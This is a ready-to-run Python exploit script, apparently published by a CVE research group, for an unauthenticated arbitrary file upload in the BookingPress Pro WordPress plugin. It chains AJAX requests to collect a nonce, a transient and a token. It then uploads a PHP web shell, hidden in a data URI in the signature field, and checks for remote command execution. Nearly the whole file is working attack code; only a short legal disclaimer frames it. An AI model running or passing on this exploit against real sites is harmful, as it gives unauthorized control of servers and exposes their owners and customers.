1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
| # ==========================================================================
# Atomic Edge CVE Research | https://atomicedge.io
# CVE-2026-6960 - BookingPress Pro <= 5.6
# Unauthenticated Arbitrary File Upload via Signature Custom Field
#
# v2 - Technical corrections applied:
# - Correct AJAX handler: bookingpress_book_appointment_booking
# - Correct payload: data URI (not multipart upload)
# - Full 3-step prerequisite chain implemented
# - Precondition note: signature custom field must be configured
#
# LEGAL DISCLAIMER:
# For authorized security testing and educational purposes ONLY.
# Unauthorized use is prohibited and may violate applicable laws.
# You are solely responsible for compliance with applicable laws.
# ==========================================================================
import requests
import argparse
import sys
import json
import base64
import re
from urllib.parse import urljoin
BANNER = r"""
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-6960 | BookingPress Pro <= 5.6 v2 ║
║ Unauthenticated Arbitrary File Upload (Corrected) ║
║ Atomic Edge CVE Research | atomicedge.io ║
╚══════════════════════════════════════════════════════════╝
"""
AJAX_PATH = "/wp-admin/admin-ajax.php"
UPLOAD_PATH = "/wp-content/uploads/bookingpress/"
# PHP web shell payload
SHELL_CODE = b'<?php if(isset($_GET["cmd"])){ echo "<pre>".shell_exec($_GET["cmd"])."</pre>"; } ?>'
def build_data_uri(payload: bytes, ext: str) -> str:
"""
Craft a data URI that tricks BookingPress into writing a file
with the specified extension. The plugin extracts the extension
from the MIME type portion of the data URI via regex, then calls
file_put_contents() with that extension — no allowlist check.
Format: data:image/{ext};base64,{base64_encoded_payload}
"""
encoded = base64.b64encode(payload).decode()
return f"data:image/{ext};base64,{encoded}"
# ---------------------------------------------------------------------------
# Step 1 — Fetch WP nonce (_wpnonce)
# ---------------------------------------------------------------------------
def fetch_wp_nonce(session: requests.Session, target: str,
booking_page: str, verify_ssl: bool) -> str | None:
url = urljoin(target, booking_page)
print(f"[*] Step 1/3 — Fetching _wpnonce from: {url}")
try:
resp = session.get(url, verify=verify_ssl, timeout=15)
resp.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"[-] Failed to fetch booking page: {e}")
return None
patterns = [
r'"_wpnonce"\s*:\s*"([^"]+)"',
r"'_wpnonce'\s*:\s*'([^']+)'",
r'<input[^>]*name="_wpnonce"[^>]*value="([^"]+)"',
r'<input[^>]*value="([^"]+)"[^>]*name="_wpnonce"',
r'bookingpress_nonce["\s:=]+["\']([a-f0-9]+)["\']',
]
for pattern in patterns:
match = re.search(pattern, resp.text, re.IGNORECASE)
if match:
nonce = match.group(1)
print(f"[+] _wpnonce found: {nonce}")
return nonce
print("[-] _wpnonce not found. Ensure the booking form is on the target page.")
return None
# ---------------------------------------------------------------------------
# Step 2 — Fetch timeslot transient (bookingpress_fetch_timeslot_data)
# ---------------------------------------------------------------------------
def fetch_timeslot_transient(session: requests.Session, target: str,
nonce: str, service_id: str,
verify_ssl: bool) -> str | None:
url = urljoin(target, AJAX_PATH)
print(f"[*] Step 2/3 — Fetching timeslot transient...")
data = {
"action": "bookingpress_fetch_timeslot_data",
"_wpnonce": nonce,
"service_id": service_id,
"selected_date": "2026-06-01",
}
try:
resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
print(f"[+] Timeslot response (HTTP {resp.status_code}): {resp.text[:200]}")
try:
decoded = resp.json()
# Extract transient key from response — key name may vary
transient = (
decoded.get("data", {}).get("transient_key")
or decoded.get("transient_key")
or decoded.get("data", {}).get("booking_transient")
)
if transient:
print(f"[+] Timeslot transient: {transient}")
return transient
except json.JSONDecodeError:
pass
# Fallback: regex search in raw response
match = re.search(r'"transient_key"\s*:\s*"([^"]+)"', resp.text)
if match:
print(f"[+] Timeslot transient (regex): {match.group(1)}")
return match.group(1)
print("[-] Could not extract transient key from timeslot response.")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Timeslot request failed: {e}")
return None
# ---------------------------------------------------------------------------
# Step 3 — Fetch pre-booking verification token
# ---------------------------------------------------------------------------
def fetch_prebooking_token(session: requests.Session, target: str,
nonce: str, transient: str,
service_id: str, verify_ssl: bool) -> str | None:
url = urljoin(target, AJAX_PATH)
print(f"[*] Step 3/3 — Fetching pre-booking verification token...")
data = {
"action": "bookingpress_pre_booking_verify_details",
"_wpnonce": nonce,
"transient_key": transient,
"service_id": service_id,
"selected_date": "2026-06-01",
"selected_time": "10:00",
}
try:
resp = session.post(url, data=data, verify=verify_ssl, timeout=15)
print(f"[+] Pre-booking response (HTTP {resp.status_code}): {resp.text[:200]}")
try:
decoded = resp.json()
token = (
decoded.get("data", {}).get("verify_token")
or decoded.get("verify_token")
or decoded.get("data", {}).get("booking_token")
)
if token:
print(f"[+] Verification token: {token}")
return token
except json.JSONDecodeError:
pass
match = re.search(r'"verify_token"\s*:\s*"([^"]+)"', resp.text)
if match:
print(f"[+] Verification token (regex): {match.group(1)}")
return match.group(1)
print("[-] Could not extract verification token.")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Pre-booking request failed: {e}")
return None
# ---------------------------------------------------------------------------
# Step 4 — Upload shell via booking submission (data URI method)
# ---------------------------------------------------------------------------
def upload_shell(session: requests.Session, target: str, nonce: str,
transient: str, token: str, service_id: str,
shell_name: str, verify_ssl: bool) -> bool:
url = urljoin(target, AJAX_PATH)
# Extract extension from shell filename (e.g. "shell.php" → "php")
ext = shell_name.rsplit(".", 1)[-1] if "." in shell_name else "php"
# Build the malicious data URI — plugin extracts ext from MIME type
data_uri = build_data_uri(SHELL_CODE, ext)
print(f"\n[*] Uploading shell via data URI method...")
print(f"[*] Extension injected into MIME type: image/{ext}")
print(f"[*] Data URI prefix: data:image/{ext};base64,...")
booking_data = {
"action": "bookingpress_book_appointment_booking",
"_wpnonce": nonce,
"transient_key": transient,
"verify_token": token,
"service_id": service_id,
"selected_date": "2026-06-01",
"selected_time": "10:00",
"customer_firstname": "John",
"customer_lastname": "Doe",
"customer_email": "john@example.com",
"customer_phone": "1234567890",
# Signature custom field — the vulnerable parameter
"bookingpress_signature_field": data_uri,
}
try:
resp = session.post(url, data=booking_data, verify=verify_ssl, timeout=20)
print(f"[+] Upload response (HTTP {resp.status_code}): {resp.text[:300]}\n")
return resp.status_code == 200
except requests.exceptions.RequestException as e:
print(f"[-] Upload request failed: {e}")
return False
# ---------------------------------------------------------------------------
# Step 5 — Verify shell execution
# ---------------------------------------------------------------------------
def verify_shell(target: str, shell_name: str, verify_ssl: bool) -> None:
shell_url = urljoin(target, UPLOAD_PATH + shell_name)
test_url = f"{shell_url}?cmd=id"
print(f"[*] Verifying shell at: {shell_url}")
try:
resp = requests.get(test_url, verify=verify_ssl, timeout=10)
if resp.status_code == 200 and "<pre>" in resp.text:
print(f"[✓] Shell is LIVE!\n")
print(f" Output of 'id':\n {resp.text.strip()}\n")
print(f"[→] Shell access:\n {shell_url}?cmd=<command>")
else:
print(f"[-] Shell not accessible at default path (HTTP {resp.status_code}).")
print(f" Try browsing: {urljoin(target, '/wp-content/uploads/')}")
except requests.exceptions.RequestException as e:
print(f"[-] Shell verification failed: {e}")
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-6960 v2 - BookingPress Pro <= 5.6 File Upload PoC (Corrected)"
)
parser.add_argument("-u", "--url", required=True,
help="Target WordPress site URL")
parser.add_argument("-bp", "--booking-page", default="/",
help="Page path containing the BookingPress form (default: /)")
parser.add_argument("-s", "--service-id", default="1",
help="BookingPress service ID (default: 1)")
parser.add_argument("-f", "--filename", default="shell.php",
help="Shell filename — extension injected into data URI MIME type")
parser.add_argument("--no-verify", action="store_true",
help="Disable SSL certificate verification")
args = parser.parse_args()
target = args.url.rstrip("/")
verify_ssl = not args.no_verify
print("[!] PRECONDITION: This exploit requires a signature-type custom field")
print(" to be configured in the BookingPress booking form by the site admin.\n")
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (compatible; AtomicEdge-Research/1.0)",
})
# Step 1: WP nonce
nonce = fetch_wp_nonce(session, target, args.booking_page, verify_ssl)
if not nonce:
sys.exit(1)
# Step 2: Timeslot transient
transient = fetch_timeslot_transient(session, target, nonce,
args.service_id, verify_ssl)
if not transient:
print("[-] Could not obtain timeslot transient. Aborting.")
sys.exit(1)
# Step 3: Pre-booking verification token
token = fetch_prebooking_token(session, target, nonce, transient,
args.service_id, verify_ssl)
if not token:
print("[-] Could not obtain pre-booking token. Aborting.")
sys.exit(1)
# Step 4: Upload shell
success = upload_shell(session, target, nonce, transient, token,
args.service_id, args.filename, verify_ssl)
# Step 5: Verify
if success:
verify_shell(target, args.filename, verify_ssl)
else:
print("[-] Upload failed. Check prerequisites and responses above.")
sys.exit(1)
if __name__ == "__main__":
main()
|